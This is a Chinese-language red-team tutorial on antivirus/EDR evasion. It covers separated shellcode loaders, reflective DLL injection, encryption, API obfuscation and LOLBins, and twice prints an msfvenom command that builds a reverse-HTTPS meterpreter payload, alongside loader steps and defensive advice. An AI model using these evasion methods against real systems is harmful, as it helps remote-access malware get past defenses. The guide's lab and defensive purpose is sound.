前面四篇你有了完整的内网能力:信息收集、提权、横向、域渗透。但有个现实问题——你生成的 MSF 木马、CS Beacon,在目标内网的**杀软(AV)/终端检测响应(EDR)**面前,常常一运行就被秒杀。这一篇讲”免杀(AV Evasion)“的入门思路:杀软怎么发现你、为什么简单编码没用、以及真正有效的方向在哪。
本文仅用于你对自有或已授权目标的防御研究与红队演练。向未授权系统投放免杀木马属违法;内容用于理解检测原理与加固防御。
杀软怎么”看”你:两类检测
要绕过,先懂它怎么检。杀软/EDR 主要两类手段:
- 静态检测(特征码):扫描文件的字节特征。比如
msfvenom生成的 exe 有固定 shellcode 片段、固定字符串,杀软库里一比对就命中。这是最老也最易被绕过的层。 - 动态检测(行为):运行时不只看文件,看行为——进程是否突然起 cmd、word 是否拉起 powershell、是否有反射加载、是否有可疑网络连接。EDR 尤其强在这层,能抓”无文件攻击”。
所以”免杀”要同时考虑:文件落地时不被特征命中(静态),运行时不被行为规则抓(动态)。
为什么 msfvenom 编码不算真免杀
很多人以为 msfvenom -e shikata_ga_nai -i 5 加个编码就安全了。早年或许,现在基本没用:
- 编码只是把 shellcode 做了异或/变换,解码器本身又成了新特征,杀软认得解码器。
- 现代杀软会模拟执行(在沙箱里跑一下),解码后露出真面目照样被杀。
- 编码不改行为,动态检测(word 起 powershell 拉 exe)照抓。
结论:编码 ≠ 免杀,它只能绕最弱的静态规则,对 EDR 几乎无效。别再迷信 -e。
真方向一:分离加载(Shellcode 与加载器分离)
有效思路是把”恶意部分”和”运行载体”分开:
- shellcode(纯恶意指令):用
msfvenom -f raw生成原始 shellcode,不打包成 exe,避免 exe 特征。 - 加载器(你自己的正常程序):写一个普通的、无特征的程序(C/Go/Rust/C#),运行时从网络/文件读取 shellcode,在内存里解密并执行,不落盘或只落加密壳。
因为加载器是你自己写的、没有公开工具特征,静态检测难命中;配合内存执行,动态检测也要看具体行为规则。这是现代免杀的主流方向之一。
# 概念示意(非完整代码)
# 1) 生成 raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x LPORT=y -f raw -o shellcode.bin
# 2) 自己写加载器:读 shellcode.bin → VirtualAlloc → 写内存 → 改可执行权限 → 执行
# 3) 加载器本身无 MSF 特征,杀软难认
真方向二:内存执行与反射 DLL 注入
更进一步是完全不落盘:
- 反射 DLL 注入(Reflective DLL Injection):把 DLL 直接注入目标进程内存并自己”反射”加载,磁盘上不出现该 DLL 文件,规避基于文件的扫描。
- 无文件攻击(Fileless):payload 只在内存里,重启即失,但难被传统 AV 抓。
- CS 的 Beacon、很多 C2 框架默认就走内存加载,比 MSF 的裸 exe 隐蔽。
这解释了为什么前面 CS 比”裸 msfvenom exe”更难杀——它的执行模型更现代。
真方向三:混淆与加密
- 加密 shellcode:加载器里 shellcode 是加密的,运行时才解密到内存,静态扫不到明文。
- API 混淆/间接调用:不直接调敏感 Windows API(
VirtualAlloc、CreateRemoteThread),而是运行时解析/间接调用,绕过行为规则里的 API 序列特征。 - 加壳(Packers):对 exe 加壳,但主流壳特征也被杀软记了,效果有限。
- 合法工具滥用(LOLBins):用系统自带的”合法”程序(如
rundll32、certutil、bitsadmin)做下载/执行,混在正常的系统行为里,是 EDR 难分辨的一类。
与框架配合的入门打法
- MSF:用
msfvenom -f raw出 shellcode,配自己写的加载器;或用evasion模块(MSF 自带的规避模块,效果有限但比裸 exe 好)。 - CS:用 Artifacts / Malleable C2 改 Beacon 的流量与内存特征;用
sleep/jitter 降心跳;用blockdlls/asperate等选项干扰 EDR 注入。 - 整体:免杀是”持续对抗”——你改特征,杀软更新库,所以要持续测试(在自己装了 Defender/EDR 的靶机上验证能不能过)。
防御视角(同样关键)
理解免杀也是为了更好防御:
- EDR 行为检测比传统 AV 特征重要得多,优先部署能看进程链/行为的 EDR。
- 应用白名单(AppLocker/WDAC):只允许签名程序运行,直接废掉大部分自制加载器。
- 攻击面收敛:禁用宏、限制 PowerShell、关不必要的 LOLBins。
- 内存扫描:现代 EDR 会扫进程内存里的注入迹象。
常见新手坑
- 迷信编码:
-e shikata_ga_nai对现代 EDR 基本无效,别浪费时间。 - 只测静态不测动态:自己机器没杀软测”能跑”就以为免杀,一到有 EDR 的目标就死。
- 裸 exe 直投:msfvenom 默认 exe 特征太明显,至少用 raw shellcode + 自制加载器。
- 以为一劳永逸:免杀是持续对抗,杀软更新库后昨天的手法今天可能失效。
进阶:免杀的测试方法论
免杀不是”改一版就完”,而是持续测试、持续对抗。一套入门测试方法:
- 建靶机:在自己虚拟机里装 Windows + Windows Defender(或申请 EDR 试用),作为”检测标尺”。
- 生成样本:用你的手法(raw shellcode + 自制加载器)生成样本,拷到靶机。
- 观察结果:Defender 报不报?报在哪个阶段(落盘/运行/行为)?记下特征。
- 迭代:针对被报的点改——落盘被报就改加载方式(内存执行),行为被报就改 API 调用序列/加 sleep 降速。
- 多引擎验证:用 VirusTotal(谨慎,会上传样本)或本地多引擎扫,看覆盖情况。
- 不过度依赖单一手法:杀软更新库后昨天的手法可能失效,保持多种路径。
记住:你自己的靶机是唯一的合法测试场。把样本丢到公网扫描站或他人系统,本身就是违规。
实战:从 raw shellcode 到加载器的思路示例
给一个”不用 msfvenom 裸 exe,改用分离加载”的入门思路(概念级,靶场自测):
# 1) 生成 raw shellcode(无 exe 特征)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x LPORT=y -f raw -o sc.bin
# 2) 自己写一个无特征的加载器(C 示例思路,非完整代码)
# - 读 sc.bin 到内存缓冲区
# - VirtualAlloc 申请可执行内存
# - 拷贝 shellcode 过去,改保护属性为可执行
# - 用 CreateThread/函数指针执行
# 编译成普通 exe,无 MSF 特征
# 3) 在装了 Defender 的靶机测试:裸 msfvenom exe 被杀,自制加载器可能过
# 4) 若还被杀,加:shellcode 加密(运行时解密)、sleep 降速、API 间接调用
这个思路的核心是把”恶意特征”从文件里移走——shellcode 是加密/分离存放的,加载器是你自己写的、没公开特征的正常程序。配合内存执行,静态扫描难命中。但再次强调:这仍可能被 EDR 的行为检测抓到(如异常的内存分配+执行),所以免杀是”特征+行为”双层对抗,没有终点。
免杀的”度”:入门者该投入多少
最后聊一个现实问题:免杀是门很深的学问,入门者要不要深钻?建议:
- 先跑通工作流,再碰免杀:本系列前几篇的 MSF/CS 基础、内网横向,才是主干。免杀是”让主干在真实环境走得远”的增强,不是入门前提。先把”打进去、控住、横向”练熟。
- 理解原理胜过背手法:知道”静态/动态检测""分离加载""内存执行”这些原理,比背某个加载器代码更有用——因为手法会变,原理不变。
- 在合法靶机里练:装 Defender 的虚拟机是你唯一的测试场,别把样本丢公网或他人系统。
- 知道边界:真实对抗里免杀是持续对抗,专业红队有专门工具链。入门阶段理解”为什么裸 exe 会被杀、基本方向在哪”就够了,不必追求”过所有 EDR”。
把免杀当”进阶选修”,而非”入门必修”,学习曲线会平滑很多。
常见误区
- “能过自己裸机就免杀”:自己没装 AV 当然能跑,要到有 Defender/EDR 的靶机验证。
- “编码一次永逸”:编码对现代检测基本无效,别浪费时间。
- “裸 exe 直投”:msfvenom 默认 exe 特征太明显,至少用 raw shellcode + 加载器。
- “免杀是一次性工作”:杀软持续更新,免杀要持续测试迭代。
自测题
- 杀软的”静态检测”和”动态检测”分别看什么?为什么 EDR 更难绕?
- 为什么 msfvenom 的编码(shikata_ga_nai)不算真免杀?
- 分离加载与内存执行(反射注入)为什么比裸 exe 更有效?
- 你应该在什么环境里测试免杀?为什么不能丢公网扫描站?
这一篇你该记住的
- 杀软两类检测:静态特征码(扫文件)与动态行为(看进程链/内存),EDR 强在后者。
- 编码 ≠ 免杀:
shikata_ga_nai只绕最弱静态规则,模拟执行/行为检测照样抓。 - 有效方向:分离加载(raw shellcode + 自制无特征加载器)、内存执行/反射注入(不落盘)、混淆加密/LOLBins。
- 配合框架:MSF 出 raw shellcode 配加载器;CS 用 Artifacts/Malleable C2 改特征。
- 防御侧:EDR 行为检测、应用白名单、攻击面收敛、内存扫描是关键。
到这里,内网渗透五章讲完:从内网地图与信息收集、权限提升、横向移动、域渗透(Kerberos/票据),到免杀基础。结合前面的 Metasploit 基础(5 章) 与 Cobalt Strike 基础(4 章),你已经有了从”外网打进去”到”内网横向蔓延、拿下域控”的完整红队入门能力。务必记住:这些技术只应在自有或书面授权的范围内使用,真实对抗的价值在于帮防守方发现盲区、补齐防线。